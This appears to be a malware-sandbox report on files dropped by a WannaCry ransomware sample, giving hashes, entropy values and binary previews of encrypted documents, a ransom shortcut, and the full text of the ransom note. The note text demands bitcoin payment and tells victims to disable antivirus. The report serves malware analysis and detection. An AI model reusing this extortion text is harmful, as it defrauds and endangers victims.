                                                                                                      SHA1:A2427176A5B3F6F03EAAB59A8CFFCA926A89C4B0
                                                                                                      SHA-256:B4E0BD70D6F54FE201FDD70194EDA71EABECF6A054D2EB349C8DE88D8D65A09A
                                                                                                      SHA-512:929E6603F471FAC02AF685ABA89199A5F3F69353F11EE72CE0108372871FDE7FA99A7C807F9F2BE97AEE4D2ABDA080F0183EF49F6AD3D8F2CD886AE8658D0DF1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........Z#t..._...2|.b08.v.=-.G..<....W...d"+..... 6.h3uN..CZ....9W......}..>..K.Vg.=.w....xE68.+.d. ]...0..Js./.3..PBt.....^^K.~....O\..4P.oY"....E.m..f4z.....tx/.hLW.....l.........U..!.i...L..J0..d.d...%f....N.Yz..V#A-..Y@1..,..U.Iu..Y..}.A(............%..>.G^jN:]....M..W...^......|x..@.E..Y....O.&..5_.X.oX............d..u....V...G.;.....&.......[z.[..-[6.........1.K......Q...`...A.../...KoL....k.H.....(YO+..........Q.[..=r.....8.bp7d..{.M).Mo`y...V.2.=...i..x.w.....^.*A"j~,../...."....Xg.[....Eg...*%(..fX#.....N..). .4.Q..N<..l..h...1.q......p.j.\p .k."...%.r|.l`$.."/..h<.\..../.Z?U]..W.^].u...m..{..x...e....m...,1.M.....Z.......8vi4;.....T.>.....i.!6.}Up.....c..eR......X.I.E.Z../V.t..|.S)...Z.[u..Db....w .R.....~0..[.1s..L...47.{~.6{.R.......|..\....z...w_g.....(O..(....`..2].%s..~.......x.|/.!8..+`;-.MQ..|...Y.e.....E.uj@xH...c=.M}k?..k.. l`R.@+.....I{....A.Df..=.S&.P.@..bi.Mi.&SP..'.Ia.....n@.haD./_\.=.g..v.@..XuA.:..N....

                                                                                                      C:\Users\user\Documents\EEGWXUHVUG\PALRGUCVEH.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846584641162905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkorx3mdUO2/eYMI02frbR9kZ7kf0jO8qErXrofKL1TRre0umfNVOv:bk2xmd2/ex6vPOkf0jidU1T1umfNVOv
                                                                                                      MD5:64D98F6F53E608B865C691370A60AAFF
                                                                                                      SHA1:A2427176A5B3F6F03EAAB59A8CFFCA926A89C4B0
                                                                                                      SHA-256:B4E0BD70D6F54FE201FDD70194EDA71EABECF6A054D2EB349C8DE88D8D65A09A
                                                                                                      SHA-512:929E6603F471FAC02AF685ABA89199A5F3F69353F11EE72CE0108372871FDE7FA99A7C807F9F2BE97AEE4D2ABDA080F0183EF49F6AD3D8F2CD886AE8658D0DF1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........Z#t..._...2|.b08.v.=-.G..<....W...d"+..... 6.h3uN..CZ....9W......}..>..K.Vg.=.w....xE68.+.d. ]...0..Js./.3..PBt.....^^K.~....O\..4P.oY"....E.m..f4z.....tx/.hLW.....l.........U..!.i...L..J0..d.d...%f....N.Yz..V#A-..Y@1..,..U.Iu..Y..}.A(............%..>.G^jN:]....M..W...^......|x..@.E..Y....O.&..5_.X.oX............d..u....V...G.;.....&.......[z.[..-[6.........1.K......Q...`...A.../...KoL....k.H.....(YO+..........Q.[..=r.....8.bp7d..{.M).Mo`y...V.2.=...i..x.w.....^.*A"j~,../...."....Xg.[....Eg...*%(..fX#.....N..). .4.Q..N<..l..h...1.q......p.j.\p .k."...%.r|.l`$.."/..h<.\..../.Z?U]..W.^].u...m..{..x...e....m...,1.M.....Z.......8vi4;.....T.>.....i.!6.}Up.....c..eR......X.I.E.Z../V.t..|.S)...Z.[u..Db....w .R.....~0..[.1s..L...47.{~.6{.R.......|..\....z...w_g.....(O..(....`..2].%s..~.......x.|/.!8..+`;-.MQ..|...Y.e.....E.uj@xH...c=.M}k?..k.. l`R.@+.....I{....A.Df..=.S&.P.@..bi.Mi.&SP..'.Ia.....n@.haD./_\.=.g..v.@..XuA.:..N....

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816162427794549
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1g47Sizv1XcQQwr8a9Tv5xKxb38Vt+279ZmL1El745n:i0S6KQQja9D5xi38NME7sn
                                                                                                      MD5:82D7B56C35862A558FEBDA6813342288
                                                                                                      SHA1:C463F4E716AB92FBE3E0C5BEF5A08A7685B4706B
                                                                                                      SHA-256:BC56AA71FFEB0A6072FE6D595008C0E55404837D57851ED1E8153E0B58B30DC1
                                                                                                      SHA-512:88B01122C578DE36020C06591BE85A08E21C975AD4DD20F54DFE75ACC445CBF4F837ECC53A97AB59D210093599BE0E947A0F3963ECF49F96FC315CEF893DA4FA
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.....MX.W.d...PX..)....;j...}F._..P..U..xb?X-..(......q...H:.FN\...".er#G...l..|............".L6....Q.^../..]......0......$..U.|W.......D..........N..-Fg..k..p.|{.M....Nf..}.....2..B..^......}hU.u......u.a.B.V..\.\...:.Ao.(X..8.h.zR].C..v.D/._.....a..Or..23....7./&......N....U..HZm..=....J?.B..%.....nES.b....C...x.H...Eu...Y.. ...UAPm..u......n...............[.&..p5.[.../.<y.o.a....w.r....E...CC..!H....q.. #.9.V.i.K........I_wn..B,.......N....>*.w..4.6-e{.g..!...Oz.......m.A....k........@.,...9{..r....N.z..~m.<ZQ,.(~7..)M.}.a.....Z.....K>c.......@./...(h.u.).}3.e.....8..d.(.......)."T..S.9....._../.......L.i.._.....uP..D.....*.E......r..m...O.."f..&Jf\...s.T..Z.....T.K..`B...%*...7a0v..c $,E.>...-......<W.<.c.p...apg.z..<./h.E..%.9.;..v.....L................r.....K....z}<;...v...b.w....3D....<.y~..........G...c.U.J..4K.......%..j...K..>...!{..Q...%.R.z!?..<?e...F.....Gi..5....(.z.'w$M..@ ..k..mZv...*..A.@.{...c..nU>..>%,gJc..>.xk.N.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846786512476568
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhMJ+haACagLrdguQ0lb6RWtll69cVPKi/UnImwTKnVkYOAmSGf5NWn:bkSJsxta5lN6QtllY3gLmw1YqSGfO
                                                                                                      MD5:DC836AD7B6408AE2861A1F534D22CB84
                                                                                                      SHA1:7A95BC44B7E8AB6F38677836F3A2F4107584D7DD
                                                                                                      SHA-256:E0BF892106F3D4420B3EC08D6DE1540F1AEC27D4B34176563F2272CDDDF42989
                                                                                                      SHA-512:4275AEBAEC622356154E4780AF1FBE3DBE1153EF6150A19285CC3FFCCF6938532174364AFF5AB79209944C39A4EEFA9FCB1648D71CEF4E83EEAB1E350D8DC9DD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....d.+.'.H.W...P.GD94...>.0.N.@}O0(.oa.$......%..L.4_.~Q{.L".p.zD...GX..Rz....Bo<9.B..-CB'......D.@.a{.2e.OW.`.?..ic1o.Z..f.h......vsV..A..D..b..):..)_.\..\...l.Cw..b....%ih:.....h.....J.y.a..Tp ..j..}B.%..@......_.bR....Y.. .V.'^.m@.......UwL...-.b.@............E.3..B.E.}...o..%.4...Sd>ns=...qw.....[&._.h.7.4....E..=.~.....{.`.N.{.l`?.7..?.N.>...*H_Z..l..f.z./..~.BV6.G.....N>.E.0.v.@t..S...@..[k.`!.=,.r{3..W....\ix..0n.7..;.i..[.p.....g.?.<.n:.Yf..0..-.".,..KLq..2t.Nl.9..I..N#.{..($N.?.c....u8^.O....~....zk.....k}'=0..4:.Vq......YN<.....so...x.>.J...#...I.;W.^.(...]...&..H.2../~..9......o..2.q.J3.?....)+.l..\...I.......yVw..RY.O..].c.&..O....C...h.Q..8....XNR....db..._.*-c&.g.$;0...S...(.....xB..6.P#9...h.%^.3!1%jaY$za...6.......^PW#@q..Z?t.a.^L.A.+.O..T\D..t........'.ka..+..+o.:D..QR*..../.....li...~......''../O!..N..sw..._o.\./.~.ABa......p..Q.....T.vT.....X}8..d3re..65..H.p.n.ur....<..a.....>=..T.,....iZX.......{G.4L..e.K.....

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.846786512476568
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkhMJ+haACagLrdguQ0lb6RWtll69cVPKi/UnImwTKnVkYOAmSGf5NWn:bkSJsxta5lN6QtllY3gLmw1YqSGfO
                                                                                                      MD5:DC836AD7B6408AE2861A1F534D22CB84
                                                                                                      SHA1:7A95BC44B7E8AB6F38677836F3A2F4107584D7DD
                                                                                                      SHA-256:E0BF892106F3D4420B3EC08D6DE1540F1AEC27D4B34176563F2272CDDDF42989
                                                                                                      SHA-512:4275AEBAEC622356154E4780AF1FBE3DBE1153EF6150A19285CC3FFCCF6938532174364AFF5AB79209944C39A4EEFA9FCB1648D71CEF4E83EEAB1E350D8DC9DD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....d.+.'.H.W...P.GD94...>.0.N.@}O0(.oa.$......%..L.4_.~Q{.L".p.zD...GX..Rz....Bo<9.B..-CB'......D.@.a{.2e.OW.`.?..ic1o.Z..f.h......vsV..A..D..b..):..)_.\..\...l.Cw..b....%ih:.....h.....J.y.a..Tp ..j..}B.%..@......_.bR....Y.. .V.'^.m@.......UwL...-.b.@............E.3..B.E.}...o..%.4...Sd>ns=...qw.....[&._.h.7.4....E..=.~.....{.`.N.{.l`?.7..?.N.>...*H_Z..l..f.z./..~.BV6.G.....N>.E.0.v.@t..S...@..[k.`!.=,.r{3..W....\ix..0n.7..;.i..[.p.....g.?.<.n:.Yf..0..-.".,..KLq..2t.Nl.9..I..N#.{..($N.?.c....u8^.O....~....zk.....k}'=0..4:.Vq......YN<.....so...x.>.J...#...I.;W.^.(...]...&..H.2../~..9......o..2.q.J3.?....)+.l..\...I.......yVw..RY.O..].c.&..O....C...h.Q..8....XNR....db..._.*-c&.g.$;0...S...(.....xB..6.P#9...h.%^.3!1%jaY$za...6.......^PW#@q..Z?t.a.^L.A.+.O..T\D..t........'.ka..+..+o.:D..QR*..../.....li...~......''../O!..N..sw..._o.\./.~.ABa......p..Q.....T.vT.....X}8..d3re..65..H.p.n.ur....<..a.....>=..T.,....iZX.......{G.4L..e.K.....

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.823907369025056
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:y0cD4nruqdcCv+2vC9EyLzoNfUeCynz8EEHWQP1dGh6cBk0pezLe:y0M4nrucW2vOE3NfTz8EFQ9dGh6z08e
                                                                                                      MD5:B9CC2D9341CA7479A574290C5C34782B
                                                                                                      SHA1:773F8C36C734F9D70895F015944100847169D73E
                                                                                                      SHA-256:097198641B84D72003EDBD962671A2CDCBDCCFAC7D60F929B9902A0911A11ECE
                                                                                                      SHA-512:4DD883F0BC7F10A989E2665D020D269DCEC335B0B5CF8FDB051DF5DEF936AFF40CCE92590D1FF163304272700FE6A5F8A2ADDC8E4EEBF4D53B55B87D6F4AB236
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.-.<..*XM.w..@......s._.:g3...B...YJa.I..=..a.|2O-@or.}V.A@...6...I....T...S2...L.....*..(.n@W..=.tK/...\..e0<Y._....A.z..Z...@.s..O.(..Z.''.~.._R..AT.8o[..z S...K.Ut..q8.B..._..l....<W...[.z...<..X.B...c.a.........A.k..s....`...o"..X.nY~..of..Osx.='.o..%V7..\...r1E.-..s.......72-_zE^...:.. ...%.`..=x7..~.)..Z.:C.8X.3.M.N6n..L..Q...h.......@.b8A...n$...p..#.../9.V.)Lj..@.......C..P.Q..]..9...(9c.6...pR.YkP.].......B.&...v.l.....g.(}/.....ucHT...&h-l......s.|..^2_.\..O..>......t..C-.....NW..V.H..l4..>.^O..r_J.Z.^E4Y+....Ay.2.7...bd...j;E7......`+[v~c.........".5V.B...f.Xs..5.._...:kt;....:....*.....^6...?.....c..(K.$.O...7.......e.........JTU....(....s.....'p....d....R..a...!.H..Vl.<..\.Z...T59..f.....l{..`.C.;[S.c...J)3.q.v....d....b...+..UZ9C.\.$p(..k9}.H.v...4..r.6.M...?..2...;P-5..{.Iq..i.<].L......2........_.VO.ds..zU({.B...).3....i...Dp..%e..N..2......r..L?..*.bQ6...4.`R...O..K@.,.l....F..V3..E.;R.>..w..Ga=#..G.D.W.%........

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.835938349670168
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdCkc939Ksi+RswlUFDcu5Bb0+lQnu0xudUm0Atbnte++7X85dVFJ+:bkdCjPtjUFwuIDu0oektelydVFI
                                                                                                      MD5:1D97BE7BD47D9003B4A48AFB988DD08E
                                                                                                      SHA1:CB82AFCA67C535CB8B76ECD17D38C50E8B9919E3
                                                                                                      SHA-256:CA93E1AFF5112DB31422413D41F4278040A8182C4770DF9271804EC19277928A
                                                                                                      SHA-512:CEF56FE63C73D89F9E4721D96FAD47EC97550D68B4F42A920381739F24B9C4302C6C2075A115B92C5CA1576CD88E4A8C3DE9C2CBCB30F48CEFAABBBB46653F89
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....k..G..G..r5}.[......{X0....Sq._........*..H.!.-..0@...lVF..._...4c^..J....X.......(..9.|...{G..!.........7.V..)..}....>...D...5.)X)..`.H......%.<..\.A..l.,o.s.....7.z.Vlt2!.E.~e..fb5..1Zh-W ..D;..U..q,...BC...f..~..J.....l.....w/..x..X......$..<................*..W.....I...[...a......fz_.w,|.A./.N.[....'...{....9.R.4\QI.e?.0.......y$[E2.w.l+..dg...8v....@....;-r.0=W...|....<.....v@c;...b...c...O./....o........c.......7........b6....G.*......t..=..Y..s...^..=..c..g.3$9o...o..[...46#@.."g...6..w7.c...lb.M.V.[a.u..P....$T..t.|.c.3.....sLRY..h3.............78@.,.h)L2.....5.d.'....+._QOGE.j...*b...mZ.)o..i.v.q........UNY|I..B{..a.t}..:wC.U@.lD.5!c.W...mcr..(.Pm.E..w..(V.[..^..w<^%s2B....1..A.....i}.5.V....Fw/>~..0..]]..oc....f...[..:...s...3-...K-.U.}.6.y~.q..(..!].....JC...1lK..%..,.............+...0.~..;........a...*..Z..s....<p......A........n.....3i..XZh.....T#q(.S...>..]...Q.4c^.n.....z....Sh..[N...q.W".....`.w..e..{L.`rQ`..Q.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.835938349670168
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkdCkc939Ksi+RswlUFDcu5Bb0+lQnu0xudUm0Atbnte++7X85dVFJ+:bkdCjPtjUFwuIDu0oektelydVFI
                                                                                                      MD5:1D97BE7BD47D9003B4A48AFB988DD08E
                                                                                                      SHA1:CB82AFCA67C535CB8B76ECD17D38C50E8B9919E3
                                                                                                      SHA-256:CA93E1AFF5112DB31422413D41F4278040A8182C4770DF9271804EC19277928A
                                                                                                      SHA-512:CEF56FE63C73D89F9E4721D96FAD47EC97550D68B4F42A920381739F24B9C4302C6C2075A115B92C5CA1576CD88E4A8C3DE9C2CBCB30F48CEFAABBBB46653F89
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....k..G..G..r5}.[......{X0....Sq._........*..H.!.-..0@...lVF..._...4c^..J....X.......(..9.|...{G..!.........7.V..)..}....>...D...5.)X)..`.H......%.<..\.A..l.,o.s.....7.z.Vlt2!.E.~e..fb5..1Zh-W ..D;..U..q,...BC...f..~..J.....l.....w/..x..X......$..<................*..W.....I...[...a......fz_.w,|.A./.N.[....'...{....9.R.4\QI.e?.0.......y$[E2.w.l+..dg...8v....@....;-r.0=W...|....<.....v@c;...b...c...O./....o........c.......7........b6....G.*......t..=..Y..s...^..=..c..g.3$9o...o..[...46#@.."g...6..w7.c...lb.M.V.[a.u..P....$T..t.|.c.3.....sLRY..h3.............78@.,.h)L2.....5.d.'....+._QOGE.j...*b...mZ.)o..i.v.q........UNY|I..B{..a.t}..:wC.U@.lD.5!c.W...mcr..(.Pm.E..w..(V.[..^..w<^%s2B....1..A.....i}.5.V....Fw/>~..0..]]..oc....f...[..:...s...3-...K-.U.}.6.y~.q..(..!].....JC...1lK..%..,.............+...0.~..;........a...*..Z..s....<p......A........n.....3i..XZh.....T#q(.S...>..]...Q.4c^.n.....z....Sh..[N...q.W".....`.w..e..{L.`rQ`..Q.

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.797648806418989
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:EshTVhuSekW3ZuUUD0ADVdSE9VOkwNZs1lzYe73ITBli965f:rnaJuZD0udSQVsrAYe73INU96Z
                                                                                                      MD5:DB50E745384B284C13E4DFEA4F640520
                                                                                                      SHA1:DBB5E45AD1F77901C8E95C819424B65ECFDC23E2
                                                                                                      SHA-256:D5FA0E13A5C315FBC884AF73D491421780DED5A1E693C2B0838C33086FEB84E3
                                                                                                      SHA-512:4F7530A155EA580550A15590209EF34C51ADA11B2F49A1361A05F4003A819476435B1A2983D3BB352677C81FE3612A5116C627893110E09F82E004CB61EBD379
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Z.0.........C9s.b9..J~..gS}..%..i%N.ML].`..*:......".Q.....Lc...V.p.4a.t9.x..%...hp`...5s...... .lk.tWr1m."..~...o....O... ..Z..X.....57C....(..Aw...h.........Y..."..&..B....MO..9?..2..7>^.?..s.[..U..Ct...@w.b%..~. b.P..]R..........GQ._....6...H.[..]......p.x.@..<.&}...c..*D.p...<|.z.w....k.T:.Z0..w.;-.Y\.W.2.i7A..Ji.".1.p.9.(.$~.A..j{6.....k...7........(._Z._..x..&..S.F93..;N.v.KK...8.....Jh..Ys....c|F....tV.p..jR=.& r..04.E"..I..r....4..%........7..]...&w+.V.C]...D;a.=..z....A.Fe......R........s....e|.P...v....Wd.?.W=..._...\.~..~.9is]k_X(...x`..l..L.|.h..."|.{R.......k.1.....@...d.^.W.y...Kk.....F....f^..|{..M!...._..[.w.^..|F.l.G..../..>._a<..Qqt...c......q!..dZ ....:=.],..p"V..2...w.........I.......=..#.CP\[7.Ub5<...6....)c.......(.9.."...D.w.3vit6.+rU+........ .S......]R.\o.......7.(.r...l.e...._..)....g..f........5..zd.B....;6ZI...M..Nb..~..5...#.!3.2.F.<ra...JQR:..@.#.s......7.Q..|N...W.lp...(...A..0_?b.o....u.%..3.|i...>.=.2......

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8466791768324375
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4ut8U5yxhNPkNchE9qBiYdw+HXoQrnIkgLrERJ1in:bk4utrsPk0Sg9HYf73n
                                                                                                      MD5:8E2CAC751DEA735BEA4C07639D657609
                                                                                                      SHA1:FCA1BEE43676D1EBEFA3417CBFC8B1098DC95760
                                                                                                      SHA-256:9F3F06F5C810801FDEC153A24D070A4DB1AFFF4874000EDFF8F0E1DB0CA5BC20
                                                                                                      SHA-512:A2399F09CC7766F2E999857F4A9BB6E7FE718693A455E9E4BFAD6EAE9A711AE3F13F5A7EE3C22FE38B0B4B321E7D3CE9135985704247242FDFD5D4701236076B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......@..A...o..D~.0.;.;....E..B....I.+'.M.....H..@L....J.m.1V.x.x..l...=."@pn.]!q...E......1.Z2'.....wt}W.v)...4[q..\J2gjI...dD.8...X.J......yk}.|.M.8b.7#....LN.{..n...M.T~.T.....m..:.X......:......m.6...M.)@....[.._u....8..M..`1...<..^s..]..+9...O............D._.a.$.=...p\.....=...u...#u.'c...e...N...t.L..-.H....&...Z.d...f/....{.......T.{9^..R..~....OA.w.`..r.M.....I...y.w.D./"Y[.H...].%...@..(......l]|...hr.s....@...z..!.@.o...M......n..+m.E...b)G.K.gO0.OEoz.....i.q..d..c-[uz.]i2.,.CNi.i....6.<....H.......I....O.u'....+VH....L..D....5..7......j[KB.....w.Z.{..u...m.C.n..3......~...@..P5.C.=....@..... 4........p...vPT....d.../.[k.....Y....dJ..].j^?C..KB.>.kj.guu.jN.=U..Nk.m....w..?)".$.?c.1..t..ib.|w.&^J,bU~<).....O........W.i.<L..d.)*...@.y-.1.qr;..5wP.>....*...Y.L..hJs..+Q...Bf/.b..L.'.bw %......Z......q.\\.D........'....H.}F......8......pXL.......0.\..m/.....u...Wqz..$../S......!.RM..9...h..J"i.$.m..{....M..f.....>.|

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.8466791768324375
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk4ut8U5yxhNPkNchE9qBiYdw+HXoQrnIkgLrERJ1in:bk4utrsPk0Sg9HYf73n
                                                                                                      MD5:8E2CAC751DEA735BEA4C07639D657609
                                                                                                      SHA1:FCA1BEE43676D1EBEFA3417CBFC8B1098DC95760
                                                                                                      SHA-256:9F3F06F5C810801FDEC153A24D070A4DB1AFFF4874000EDFF8F0E1DB0CA5BC20
                                                                                                      SHA-512:A2399F09CC7766F2E999857F4A9BB6E7FE718693A455E9E4BFAD6EAE9A711AE3F13F5A7EE3C22FE38B0B4B321E7D3CE9135985704247242FDFD5D4701236076B
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......@..A...o..D~.0.;.;....E..B....I.+'.M.....H..@L....J.m.1V.x.x..l...=."@pn.]!q...E......1.Z2'.....wt}W.v)...4[q..\J2gjI...dD.8...X.J......yk}.|.M.8b.7#....LN.{..n...M.T~.T.....m..:.X......:......m.6...M.)@....[.._u....8..M..`1...<..^s..]..+9...O............D._.a.$.=...p\.....=...u...#u.'c...e...N...t.L..-.H....&...Z.d...f/....{.......T.{9^..R..~....OA.w.`..r.M.....I...y.w.D./"Y[.H...].%...@..(......l]|...hr.s....@...z..!.@.o...M......n..+m.E...b)G.K.gO0.OEoz.....i.q..d..c-[uz.]i2.,.CNi.i....6.<....H.......I....O.u'....+VH....L..D....5..7......j[KB.....w.Z.{..u...m.C.n..3......~...@..P5.C.=....@..... 4........p...vPT....d.../.[k.....Y....dJ..].j^?C..KB.>.kj.guu.jN.=U..Nk.m....w..?)".$.?c.1..t..ib.|w.&^J,bU~<).....O........W.i.<L..d.)*...@.y-.1.qr;..5wP.>....*...Y.L..hJs..+Q...Bf/.b..L.'.bw %......Z......q.\\.D........'....H.}F......8......pXL.......0.\..m/.....u...Wqz..$../S......!.RM..9...h..J"i.$.m..{....M..f.....>.|

                                                                                                      C:\Users\user\Documents\EFOYFBOLXA\GIGIYTFFYT.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:COM executable for DOS
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.791143181525866
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:q5+7YTmp292Ofkyy89PC1+ZeuyJRE7mAhPx5F5X+epVd:6jTULOfkyJ9PC3RE7mAdXX+eVd
                                                                                                      MD5:F1CFF0FE1248E1C91A135398B146F240
                                                                                                      SHA1:E24A20EAE2C356AE4B9BD04718CEADC1646CBF9F
                                                                                                      SHA-256:EB8CC2022F7228D4ECC222339AF0BA69B4F823436A76B30719421E340AD1280D
                                                                                                      SHA-512:1277EFF817085EF64F9C42E6401256CE09688786713F6988A737327403E63BDF59761E7ABE5BAB2751C9B53A995A96D4A209FFABC24C44962B07EF1C8C16603B
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
